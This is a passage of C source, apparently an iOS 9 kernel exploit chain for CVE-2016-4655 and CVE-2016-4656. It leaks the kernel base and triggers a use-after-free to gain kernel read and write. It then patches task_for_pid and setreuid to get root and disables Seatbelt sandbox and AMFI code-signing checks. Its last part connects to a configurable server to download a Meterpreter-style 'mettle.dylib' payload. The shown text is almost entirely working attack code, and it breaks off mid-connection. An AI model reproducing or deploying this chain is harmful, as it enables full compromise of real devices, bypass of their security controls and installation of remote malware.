write_primitive(pid_check_addr, read_primitive(pid_check_addr) + 0xff); // cmp r6, #ff
686
687
uint32_t posix_check_ret_addr = find_posix_check() + task_for_pid_base;
688
write_primitive(posix_check_ret_addr, read_primitive(posix_check_ret_addr) + 0xff); // cmp r0, #ff
689
690
uint32_t mac_proc_check_ret_addr = find_mac_proc_check() + task_for_pid_base;
691
write_primitive(mac_proc_check_ret_addr, read_primitive(mac_proc_check_ret_addr) | 0x10000); // cmp.w r8, #1
692
}
693
694
// from patchfinder.c
695
static int insn_is_32bit(uint16_t * i)
696
{
697
return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0;
698
}
699
700
static uint32_t bit_range(uint32_t x, int start, int end)
701
{
702
x = (x << (31 - start)) >> (31 - start);
703
x = (x >> end);
704
return x;
705
}
706
707
static uint32_t decode_immed(uint32_t instruction)
708
{
709
uint32_t immed16 = 0;
710
immed16 |= bit_range(instruction, 24, 16) << 0;
711
immed16 |= bit_range(instruction, 5, 0) << 12;
712
immed16 |= bit_range(instruction, 10, 10) << 11;
713
immed16 |= bit_range(instruction, 31, 28) << 8;
714
return immed16;
715
}
716
717
static unsigned char *
718
boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
719
const unsigned char* needle, size_t nlen)
720
{
721
size_t last, scan = 0;
722
size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:
723
* bad character shift */
724
725
/* Sanity checks on the parameters */
726
if (nlen <= 0 || !haystack || !needle)
727
return NULL;
728
729
/* ---- Preprocess ---- */
730
/* Initialize the table to default value */
731
/* When a character is encountered that does not occur
732
* in the needle, we can safely skip ahead for the whole
733
* length of the needle.
734
*/
735
for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
736
bad_char_skip[scan] = nlen;
737
738
/* C arrays have the first byte at [0], therefore:
739
* [nlen - 1] is the last byte of the array. */
740
last = nlen - 1;
741
742
/* Then populate it with the analysis of the needle */
743
for (scan = 0; scan < last; scan = scan + 1)
744
bad_char_skip[needle[scan]] = last - scan;
745
746
/* ---- Do the matching ---- */
747
748
/* Search the haystack, while the needle can still be within it. */
749
while (hlen >= nlen)
750
{
751
/* scan from the end of the needle */
752
for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)
753
if (scan == 0) /* If the first byte matches, we've found it. */
754
return (void *)haystack;
755
756
/* otherwise, we need to skip some bytes and start again.
757
Note that here we are getting the skip value based on the last byte
758
of needle, no matter where we didn't match. So if needle is: "abcd"
759
then we are skipping based on 'd' and that value will be 4, and
760
for "abcdd" we again skip on 'd' but the value will be only 1.
761
The alternative of pretending that the mismatched character was
762
the last character is slower in the normal case (E.g. finding
763
"abcd" in "...azcd..." gives 4 by using 'd' but only
764
4-2==2 using 'z'. */
765
hlen -= bad_char_skip[haystack[last]];
766
haystack += bad_char_skip[haystack[last]];
767
}
768
769
return NULL;
770
}
771
772
void init_exploit(void * dlsym_addr, void * dlopen_addr)
773
{
774
dlopen_func = dlopen_addr;
775
dlsym_func = dlsym_addr;
776
777
// Lookup functions
778
void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);
779
780
#ifdef DEBUG
781
typedef int (*asl_log_ptr)(aslclient asl, aslmsg msg, int level, const char *format, ...);
782
asl_log_ptr asl_log_func = dlsym_func(libsystem, "asl_log");
783
#endif
784
785
typedef void* (*memcpy_ptr)( void * destination, const void * source, size_t num);
786
memcpy_ptr memcpy_func = dlsym_func(libsystem, "memcpy");
787
788
void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
789
790
typedef CFMutableDictionaryRef (*IOServiceMatching_ptr)(const char *name);
791
IOServiceMatching_ptr IOServiceMatching_func = dlsym_func(libIOKit, "IOServiceMatching");
792
793
typedef io_service_t (*IOServiceGetMatchingService_ptr)(mach_port_t masterPort, CFDictionaryRef matching);
794
IOServiceGetMatchingService_ptr IOServiceGetMatchingService_func = dlsym_func(libIOKit, "IOServiceGetMatchingService");
795
796
typedef mach_port_t (*mach_task_self_ptr)();
797
mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
798
799
typedef kern_return_t (*io_service_open_extended_ptr)(mach_port_t service, task_t owningTask, uint32_t connect_type, NDR_record_t ndr, io_buf_ptr_t properties, mach_msg_type_number_t propertiesCnt, kern_return_t *result, mach_port_t *connection);
800
io_service_open_extended_ptr io_service_open_extended_func = dlsym_func(libIOKit, "io_service_open_extended");
801
802
typedef kern_return_t (*IORegistryEntryGetChildIterator_ptr)(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator);
803
IORegistryEntryGetChildIterator_ptr IORegistryEntryGetChildIterator_func = dlsym_func(libIOKit, "IORegistryEntryGetChildIterator");
804
805
typedef kern_return_t (*IOObjectRelease_ptr)(io_object_t object);
806
IOObjectRelease_ptr IOObjectRelease_func = dlsym_func(libIOKit, "IOObjectRelease");
807
808
typedef io_object_t (*IOIteratorNext_ptr)(io_iterator_t iterator);
809
IOIteratorNext_ptr IOIteratorNext_func = dlsym_func(libIOKit, "IOIteratorNext");
810
811
typedef kern_return_t (*IORegistryEntryGetProperty_ptr)(io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t *size);
812
IORegistryEntryGetProperty_ptr IORegistryEntryGetProperty_func = dlsym_func(libIOKit, "IORegistryEntryGetProperty");
813
814
clock_get_attributes_func = dlsym_func(libsystem, "clock_get_attributes");
815
read_func = dlsym_func(libsystem, "read");
816
write_func = dlsym_func(libsystem, "write");
817
818
DLSYM_FUNC(malloc, libsystem, void*, size_t)
819
DLSYM_FUNC(free, libsystem, void*)
820
DLSYM_FUNC(getenv, libsystem, char*, const char*)
821
DLSYM_FUNC(strcpy, libsystem, char*, char*, const char*)
822
DLSYM_FUNC(strcat, libsystem, char*, char*, const char*)
823
DLSYM_FUNC(strlen, libsystem, size_t, const char*)
824
DLSYM_FUNC(open, libsystem, int, const char*, int flags, mode_t mode)
825
DLSYM_FUNC(flock, libsystem, int, int fd, int operation)
826
DLSYM_FUNC(pipe, libsystem, int, int* pipefd)
827
DLSYM_FUNC(mach_host_self, libsystem, host_name_port_t)
828
DLSYM_FUNC(host_get_clock_service, libsystem, kern_return_t, host_t host, clock_id_t id, clock_t clock_name)
829
DLSYM_FUNC(host_get_io_master, libsystem, kern_return_t, host_t host, io_master_t *io_master)
830
DLSYM_FUNC(io_service_get_matching_services_bin, libIOKit, kern_return_t, mach_port_t, char*, int, void*)
831
832
DLSYM_FUNC(pthread_create, libsystem, int, pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg);
833
DLSYM_FUNC(sleep, libsystem, unsigned int, unsigned int);
834
DLSYM_FUNC(fstat, libsystem, int, int fildes, struct stat *buf);
835
DLSYM_FUNC(setreuid, libsystem, int, uid_t ruid, uid_t euid);
836
DLSYM_FUNC(getuid, libsystem, uid_t);
837
838
DLSYM_FUNC(uname, libsystem, int, struct utsname *buf);
839
DLSYM_FUNC(sysctl, libsystem, int, int *name, u_int namelen, void *oldp, size_t *oldlenp, void *newp, size_t newlen);
840
841
DLSYM_FUNC(task_for_pid, libsystem, kern_return_t, mach_port_name_t target_tport, int pid, mach_port_name_t *t);
842
DLSYM_FUNC(vm_write, libsystem, kern_return_t, vm_map_t target_task, vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
843
DLSYM_FUNC(vm_read_overwrite, libsystem, kern_return_t, vm_map_t target_task, vm_address_t address, vm_size_t size, vm_address_t data, vm_size_t *outsize);
844
845
DLSYM_FUNC(socket, libsystem, int, int, int, int);
846
DLSYM_FUNC(connect, libsystem, int, int sockfd, const struct sockaddr *addr, socklen_t addrlen);
847
DLSYM_FUNC(send, libsystem, ssize_t, int sockfd, const void *buf, size_t len, int flags);
848
DLSYM_FUNC(recv, libsystem, ssize_t, int sockfd, const void *buf, size_t len, int flags);
849
DLSYM_FUNC(close, libsystem, int, int fd);
850
DLSYM_FUNC(unlink, libsystem, int, const char* file);
851
852
// Init
853
const char *lock_last_path_component = "/tmp/lock";
854
char *home = getenv_func("HOME");
855
856
size_t locklen = strlen_func(home) + strlen_func(lock_last_path_component) + 1;
857
lockfile = malloc_func(locklen);
858
strcpy_func(lockfile, home);
859
strcat_func(lockfile, lock_last_path_component);
860
861
fd = open_func(lockfile, O_CREAT | O_WRONLY, 0644);
862
863
flock_func(fd, LOCK_EX);
864
pipe_func(fildes);
865
866
struct utsname systeminfo;
867
uname_func(&systeminfo);
868
869
debug_print("Found device: %s\n", systeminfo.machine);
870
871
char osname[32];
872
size_t s = sizeof(osname);
873
int cmd[2] = { CTL_KERN, KERN_OSVERSION };
874
if(sysctl_func(cmd, sizeof(cmd) / sizeof(*cmd), osname, &s, NULL, 0) != 0) {
875
debug_print("%s\n", "Could not detect device version");
876
return;
877
}
878
879
bool pre91 = false;
880
const char* osversion = 0;
881
debug_print("Found version: %s\n", osname);
882
if (osname[2] == 'A') {
883
osversion = "9.0.2";
884
pre91 = true;
885
} else if (osname[2] == 'B') {
886
osversion = "9.1";
887
} else if (osname[2] == 'C') {
888
osversion = "9.2";
889
} else if (osname[2] == 'D') {
890
osversion = "9.2.1";
891
} else if (osname[2] == 'E') {
892
osversion = "9.3";
893
} else if (osname[2] == 'F') {
894
osversion = "9.3.2";
895
} else if (osname[2] == 'G') {
896
osversion = "9.3.3";
897
} else {
898
debug_print("%s\n", "Unsupported version");
899
return;
900
}
901
902
debug_print("Guessed version for offsets: %s\n", osversion);
903
target_environment = info_to_target_environment(systeminfo.machine, osversion);
904
if (!target_environment) {
905
debug_print("%s\n", "Unsupported version");
906
return;
907
}
908
909
910
911
912
kern_return_t kr;
913
kr = host_get_clock_service_func(mach_host_self_func(), CALENDAR_CLOCK, (clock_t)&clk_battery);
914
if (kr != 0) {
915
debug_print("%s\n", "clk_battery fail");
916
return;
917
}
918
919
kr = host_get_clock_service_func(mach_host_self_func(), REALTIME_CLOCK, (clock_t)&clk_realtime);
920
if (kr != 0) {
921
debug_print("%s\n", "clk_realtime fail");
922
return;
923
}
924
925
// CVE-2016-4655
926
char data[4096];
927
uint32_t bufpos = 0;
928
929
memcpy_func(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
930
bufpos += sizeof(kOSSerializeBinarySignature);
931
932
WRITE_IN(data, kOSSerializeDictionary | kOSSerializeEndCollecton | 2);
933
934
WRITE_IN(data, kOSSerializeSymbol | 30);
935
WRITE_IN(data, 0x4b444948); // "HIDKeyboardModifierMappingSrc"
936
WRITE_IN(data, 0x6f627965);
937
WRITE_IN(data, 0x4d647261);
938
WRITE_IN(data, 0x6669646f);
939
WRITE_IN(data, 0x4d726569);
940
WRITE_IN(data, 0x69707061);
941
WRITE_IN(data, 0x7253676e);
942
WRITE_IN(data, 0x00000063);
943
WRITE_IN(data, kOSSerializeNumber | 2048);
944
WRITE_IN(data, 0x00000004);
945
WRITE_IN(data, 0x00000000);
946
947
WRITE_IN(data, kOSSerializeSymbol | 30);
948
WRITE_IN(data, 0x4b444948); // "HIDKeyboardModifierMappingDst"
949
WRITE_IN(data, 0x6f627965);
950
WRITE_IN(data, 0x4d647261);
951
WRITE_IN(data, 0x6669646f);
952
WRITE_IN(data, 0x4d726569);
953
WRITE_IN(data, 0x69707061);
954
WRITE_IN(data, 0x7344676e);
955
WRITE_IN(data, 0x00000074);
956
WRITE_IN(data, kOSSerializeNumber | kOSSerializeEndCollecton | 32);
957
WRITE_IN(data, 0x00000193);
958
WRITE_IN(data, 0X00000000);
959
960
CFMutableDictionaryRef amfi = IOServiceMatching_func("AppleMobileFileIntegrity");
961
io_service_t service = IOServiceGetMatchingService_func(0, amfi);
962
io_connect_t connection;
963
kern_return_t result;
964
965
NDR_record_t* NDR_record_lookup = dlsym_func(libIOKit, "NDR_record");
966
io_service_open_extended_func(service, mach_task_self_func(), 0, *NDR_record_lookup, data, bufpos, &result, &connection);
967
if (result != KERN_SUCCESS) {
968
debug_print("%s\n", "io_service_open_extended fail");
969
return;
970
}
971
972
io_object_t object = 0;
973
uint32_t size = sizeof(data);
974
io_iterator_t iterator;
975
IORegistryEntryGetChildIterator_func(service, "IOService", &iterator);
976
977
do {
978
if (object) {
979
IOObjectRelease_func(object);
980
}
981
object = IOIteratorNext_func(iterator);
982
} while (IORegistryEntryGetProperty_func(object, "HIDKeyboardModifierMappingSrc", data, &size));
983
984
uint32_t kernel_base = 0;
985
if (size > 8) {
986
kernel_base = (*(uint32_t *)(data+36) & 0xFFF00000) + 0x1000;
987
}
988
989
debug_print("found kernel_base %p!\n", (void*)kernel_base);
990
991
992
// CVE-2016-4656
993
pthread_t insert_payload_thread;
994
volatile uint32_t payload_ptr = 0x12345678;
995
uint32_t args[] = {kernel_base, (uint32_t)&payload_ptr};
996
997
mach_port_t master = 0, res;
998
struct stat buf;
999
mach_port_name_t kernel_task;
1000
1001
pthread_create_func(&insert_payload_thread, NULL, &insert_payload, args);
1002
1003
while (payload_ptr == 0x12345678);
1004
sleep_func(1);
1005
1006
memcpy_func(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
1007
bufpos = sizeof(kOSSerializeBinarySignature);
1008
1009
1010
WRITE_IN(data, kOSSerializeDictionary | kOSSerializeEndCollecton | 0x10);
1011
if (pre91)
1012
{
1013
/* pre-9.1 doesn't accept strings as keys, but duplicate keys :D */
1014
WRITE_IN(data, kOSSerializeSymbol | 4);
1015
WRITE_IN(data, 0x00327973); // "sy2"
1016
/* our key is a OSString object that will be freed */
1017
WRITE_IN(data, kOSSerializeString | 4);
1018
WRITE_IN(data, 0x00327973); // irrelevant
1019
1020
/* now this will free the string above */
1021
WRITE_IN(data, kOSSerializeObject | 1); // ref to "sy2"
1022
WRITE_IN(data, kOSSerializeBoolean | 1); // lightweight value
1023
1024
/* and this is the key for the value below */
1025
WRITE_IN(data, kOSSerializeObject | 1); // ref to "sy2" again
1026
}
1027
else
1028
{
1029
/* our key is a OSString object that will be freed */
1030
WRITE_IN(data, kOSSerializeString | 4);
1031
WRITE_IN(data, 0x00327973); // "sy2"
1032
}
1033
WRITE_IN(data, kOSSerializeData | 0x14);
1034
WRITE_IN(data, payload_ptr+PAYLOAD_TO_PEXPLOIT+PEXPLOIT_TO_UAF_PAYLOAD); // [00] address of uaf_payload_buffer
1035
WRITE_IN(data, 0x41414141); // [04] dummy
1036
WRITE_IN(data, payload_ptr+PAYLOAD_TO_PEXPLOIT); // [08] address of uaf_payload_buffer - 8
1037
WRITE_IN(data, 0x00000014); // [0C] static value of 20
1038
WRITE_IN(data, kernel_base+find_OSSerializer_serialize()+1); // [10] address of OSSerializer::serialize (+1)
1039
1040
/* now create a reference to object 1 which is the OSString object that was just freed */
1041
WRITE_IN(data, kOSSerializeObject | kOSSerializeEndCollecton | (pre91 ? 2 : 1));
1042
1043
/* get a master port for IOKit API */
1044
host_get_io_master_func(mach_host_self_func(), &master);
1045
1046
/* trigger the bug */
1047
kr = io_service_get_matching_services_bin_func(master, data, bufpos, &res);
1048
1049
/* test read primitive */
1050
uint32_t kernel_header = read_primitive(kernel_base);
1051
debug_print("kernel_header = %p!\n", (void*)kernel_header);
1052
1053
vm_kernel_addrperm = read_primitive(kernel_base+find_vm_kernel_addrperm());
1054
1055
/* pipe test */
1056
fstat_func(fildes[0], &buf);
1057
cpipe = (uint32_t)(buf.st_ino - vm_kernel_addrperm);
1058
1059
write_func(fildes[1], "ABCDEFGH", 8);
1060
read_primitive(cpipe);
1061
pipebuf = read_primitive(cpipe+16);
1062
if (read_primitive(pipebuf) != 0x44434241) { // "ABCD"
1063
debug_print("%s\n", "read_primitive fail");
1064
return;
1065
}
1066
if (read_primitive(pipebuf+4) != 0x48474645) { // "EFGH"
1067
debug_print("%s\n", "read_primitive fail");
1068
return;
1069
}
1070
1071
read_func(fildes[0], data, 4096);
1072
1073
/* test write primitive */
1074
write_gadget = kernel_base + find_write_gadget();
1075
1076
write_primitive(pipebuf, 0x41424142);
1077
if (read_primitive(pipebuf) != 0x41424142) {
1078
debug_print("%s\n", "read_primitive fail");
1079
return;
1080
}
1081
1082
/* patch kernel pmap */
1083
patch_kernel_pmap(kernel_base);
1084
1085
/* test kernel pmap patch */
1086
write_primitive(kernel_base, 0x41424142);
1087
kernel_header = read_primitive(kernel_base);
1088
debug_print("kernel_header = %p!\n", (void*)kernel_header);
1089
write_primitive(kernel_base, 0xfeedface);
1090
kernel_header = read_primitive(kernel_base);
1091
debug_print("kernel_header = %p!\n", (void*)kernel_header);
1092
1093
kr = task_for_pid_func(mach_task_self_func(), 0, &kernel_task);
1094
if (kr != 0) {
1095
debug_print("%s\n", "patching task_for_pid!");
1096
patch_task_for_pid(kernel_base);
1097
sleep_func(1);
1098
kr = task_for_pid_func(mach_task_self_func(), 0, &kernel_task);
1099
if (kr != 0) {
1100
debug_print("%s\n", "tfp0 fail");
1101
return;
1102
}
1103
} else {
1104
debug_print("%s\n", "tfp0 win!");
1105
}
1106
1107
/* test kernel task port */
1108
char* kbase = malloc_func(0x1000);
1109
if (kbase == 0) {
1110
debug_print("%s\n", "malloc fail");
1111
return;
1112
}
1113
vm_size_t memsize;
1114
kr = vm_read_overwrite_func(kernel_task, kernel_base, 0x1000, (vm_address_t)kbase, &memsize);
1115
if (kr != 0) {
1116
debug_print("%s\n", "vm_read fail");
1117
return;
1118
}
1119
mach_header_t *mh=(struct mach_header *)kbase;
1120
if(mh->magic != 0xfeedface) {
1121
debug_print("%s\n", "magic fail");
1122
return;
1123
}
1124
1125
/* patch setreuid */
1126
debug_print("getuid() = %d!\n", getuid_func());
1127
/*assert(getuid() != 0);*/
1128
uint32_t setreuid_base = find_setreuid() + kernel_base;
1129
uint32_t branch_addr = 0x3e + setreuid_base;
1130
ushort new_branch = find_setreuid_cred_update(); // b loc_802aaa2c
1131
vm_write_func(kernel_task, branch_addr, (vm_address_t)&new_branch, 2);
1132
1133
sleep_func(1);
1134
1135
/*assert(setreuid(0, 0) == 0);*/
1136
setreuid_func(0, 0);
1137
1138
/* got root? */
1139
debug_print("getuid() = %d!\n", getuid_func());
1140
/*assert(getuid() == 0);*/
1141
1142
uint32_t kernel_start = 0xffffffff;
1143
uint32_t kernel_end = 0;
1144
1145
debug_print("ncmds = %d!\n", mh->ncmds);
1146
struct load_command *lc=(struct load_command *)(mh+1);
1147
for (int i=0;i<mh->ncmds; i++) {
1148
if (lc->cmd == LC_SEGMENT_T) {
1149
struct segment_command *sc = (struct segment_command*)lc;
1150
debug_print("found segment %s!\n", sc->segname);
1151
if (sc->vmaddr < kernel_start) {
1152
kernel_start = sc->vmaddr;
1153
}
1154
if (sc->vmaddr+sc->vmsize > kernel_end) {
1155
kernel_end = sc->vmaddr+sc->vmsize;
1156
}
1157
}
1158
lc=(struct load_command*)(((char *)lc)+lc->cmdsize);
1159
}
1160
1161
size_t kernel_size = (kernel_end - kernel_start);
1162
debug_print("kernel start %p, end %p, size %p!\n", (void*)kernel_start, (void*)kernel_end, (void*)(kernel_size));
1163
free_func(kbase);
1164
1165
vm_address_t kdata = (vm_address_t)malloc_func(kernel_size);
1166
for (int i=0; (i<<12)<kernel_size; i++) {
1167
vm_read_overwrite_func(kernel_task, kernel_base+(i<<12), 4096, kdata+(i<<12), &memsize);
1168
}
1169
1170
debug_print("kdata %p, end %p, size %p!\n", (void*)kdata, (void*)(kdata + kernel_size), (void*)(kernel_size));
1171
uint8_t *seatbeltstr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1);
1172
if (!seatbeltstr) {
1173
debug_print("%s\n", "seatbelt fail");
1174
return;
1175
}
1176
uint32_t what = (uint32_t)(seatbeltstr - kdata) + kernel_start;
1177
uint32_t sbops = 0;
1178
for (uint32_t off = 0; off < kernel_size; off += 4) {
1179
if (*(uint32_t*)(kdata + off) == what) {
1180
sbops = *(uint32_t*)(kdata + off + 12);
1181
debug_print("sbops found %p\n", (void*)(sbops));
1182
break;
1183
}
1184
}
1185
1186
/* fixes kernel[0] <Notice>: Sandbox: com.apple.WebKit(180) deny(1) file-read-data /private/var/root/log.dylib*/
1187
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);
1188
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);
1189
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);
1190
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_access), 0);
1191
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_chroot), 0);
1192
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_create), 0);
1193
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr), 0);
1194
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata), 0);
1195
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exec), 0);
1196
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist), 0);
1197
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr), 0);
1198
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl), 0);
1199
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_link), 0);
1200
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr), 0);
1201
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_open), 0);
1202
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_readlink), 0);
1203
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist), 0);
1204
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr), 0);
1205
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setflags), 0);
1206
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setmode), 0);
1207
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setowner), 0);
1208
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
1209
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
1210
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_stat), 0);
1211
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_truncate), 0);
1212
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_unlink), 0);
1213
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_notify_create), 0);
1214
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath), 0);
1215
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr), 0);
1216
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat), 0);
1217
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_fork), 0);
1218
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_iokit_check_get_property), 0);
1219
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_accept), 0);
1220
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_accepted), 0);
1221
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_bind), 0);
1222
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_connect), 0);
1223
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_create), 0);
1224
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_label_update), 0);
1225
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_listen), 0);
1226
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_receive), 0);
1227
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_received), 0);
1228
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_select), 0);
1229
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_send), 0);
1230
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_stat), 0);
1231
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_setsockopt), 0);
1232
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_getsockopt), 0);
1233
1234
uint8_t *amfistr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"Apple Mobile File Integrity", sizeof("Apple Mobile File Integrity") - 1);
1235
if (!amfistr) {
1236
debug_print("%s\n", "amfistr fail");
1237
return;
1238
}
1239
uint32_t amfiwhat = (uint32_t)(amfistr - kdata) + kernel_start;
1240
uint32_t amfiops = 0;
1241
for (uint32_t off = 0; off < kernel_size; off += 4) {
1242
if (*(uint32_t*)(kdata + off) == amfiwhat) {
1243
debug_print("amfiops found %p\n", (void*)(kdata + off));
1244
amfiops = *(uint32_t*)(kdata + off + 12);
1245
break;
1246
}
1247
}
1248
write_primitive(amfiops+offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);
1249
1250
uint8_t *amfidriverstr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"com.apple.driver.AppleMobileFileIntegrity", sizeof("com.apple.driver.AppleMobileFileIntegrity") - 1);
1251
/*uint32_t cs_enforce_maybe = (amfidriverstr - kdata) + kernel_start + 0xb0;*/
1252
/*write_primitive(cs_enforce_maybe, 1);*/
1253
1254
debug_print("amfidriverstr found %p\n", (void*)(amfidriverstr));
1255
uint32_t* amfi_macho = (uint32_t*)((uint32_t)amfidriverstr & 0xfffff000);
1256
uint32_t amfi_macho_start = 0;
1257
while (amfi_macho > (uint32_t*)kdata) {
1258
if (*amfi_macho == MH_MAGIC) {
1259
debug_print("amfimacho found %p\n", (void*)((uint32_t)amfi_macho - (uint32_t)kdata));
1260
amfi_macho_start = ((uint32_t)amfi_macho - (uint32_t)kdata);
1261
break;
1262
}
1263
amfi_macho = (void*)((uint32_t)amfi_macho - 0x1000);
1264
}
1265
1266
uint32_t memcmp_what = kernel_start + find_memcmp() + 1;
1267
debug_print("memcmp_what %p\n", (void*)(memcmp_what));
1268
uint32_t amfi_memcmp_off;
1269
for (amfi_memcmp_off = amfi_macho_start; amfi_memcmp_off < kernel_size; amfi_memcmp_off += 4) {
1270
if (*(uint32_t*)((uint32_t)kdata + amfi_memcmp_off) == memcmp_what) {
1271
break;
1272
}
1273
}
1274
debug_print("amfi_memcmp_off %p\n", (void*)(amfi_memcmp_off));
1275
1276
uint32_t amfi_memcmp_stub_found;
1277
for (uint32_t amfi_memcmp_stub = amfi_macho_start; amfi_memcmp_stub < kernel_size - 16; amfi_memcmp_stub += 2) {
1278
if ((*(uint16_t*)((uint32_t)kdata + amfi_memcmp_stub + 8) == 0x44fc) && // add ip, pc
1279
(*(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub + 10) == 0xc000f8dc) && // ldr.w ip, [ip]
1280
(*(uint16_t*)((uint32_t)kdata + amfi_memcmp_stub + 14) == 0x4760)) { // bx ip
1281
1282
uint32_t instruction1 = *(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub);
1283
uint32_t instruction2 = *(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub+4);
1284
uint32_t ip_offset = amfi_memcmp_off - (amfi_memcmp_stub + 12);
1285
/*if (amfi_memcmp_stub == 0x776be8) {*/
1286
/*debug_print("found stub %p %p %p %p\n", (void*)amfi_memcmp_stub, (void*)(ip_offset), (void*)instruction1, (void*)instruction2);*/
1287
/*}*/
1288
1289
if (insn_is_32bit((uint16_t*)&instruction1) &&
1290
insn_is_32bit((uint16_t*)&instruction2) &&
1291
(bit_range(instruction1, 28, 24) == 0xc) && // r12
1292
(bit_range(instruction2, 28, 24) == 0xc) && // r12
1293
(decode_immed(instruction1) == (ip_offset & 0xffff)) &&
1294
(decode_immed(instruction2) == (ip_offset >> 16)) &&
1295
1) {
1296
debug_print("good stub %p %p %p %p\n", (void*)amfi_memcmp_stub, (void*)(ip_offset), (void*)instruction1, (void*)instruction2);
1297
amfi_memcmp_stub_found = amfi_memcmp_stub;
1298
break;
1299
}
1300
}
1301
}
1302
1303
free_func(kdata);
1304
1305
if (amfi_memcmp_stub_found) {
1306
uint32_t amfi_memcmp = amfi_memcmp_stub_found + kernel_start;
1307
debug_print("amfi memcmp is %p\n", (void*)(amfi_memcmp));
1308
1309
/*[> fixes amfid[193] <Error>: /private/var/root/log.dylib not valid: 0xe800801c: No code signature found.<]*/
1310
write_primitive(amfi_memcmp, 0x47702000); // mov r0, #0; bx lr
1311
}
1312
1313
const char config_placeholder[1024] = "PAYLOAD_URL";
1314
const char *payload_file = "/var/root/mettle.dylib";
1315
1316
// Load the payload from server
1317
debug_print("%s\n", "Connecting...");
1318
int sockfd = 0;
1319
struct sockaddr_in serv_addr;
1320
const char *getpayload = "GET /payload32 HTTP/1.1\r\n\r\n";
1321
const int chunk_size = 4096;
1322
char* payload_buffer = malloc_func(chunk_size);
1323
if ((sockfd = socket_func(AF_INET, SOCK_STREAM, 0)) < 0) {
1324
debug_print("%s\n", "Could not connect socket");
1325
return;
1326
}
1327
1328
serv_addr.sin_family = AF_INET;
1329
serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder;
1330
serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4);
1331
debug_print("Connecting: %p p %hu\n", (void*)*(uint32_t*)&serv_addr.sin_addr, serv_addr.sin_port);
1332
1333
if (connect_func(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
1334
debug_print("%s\n", "Could not connect");
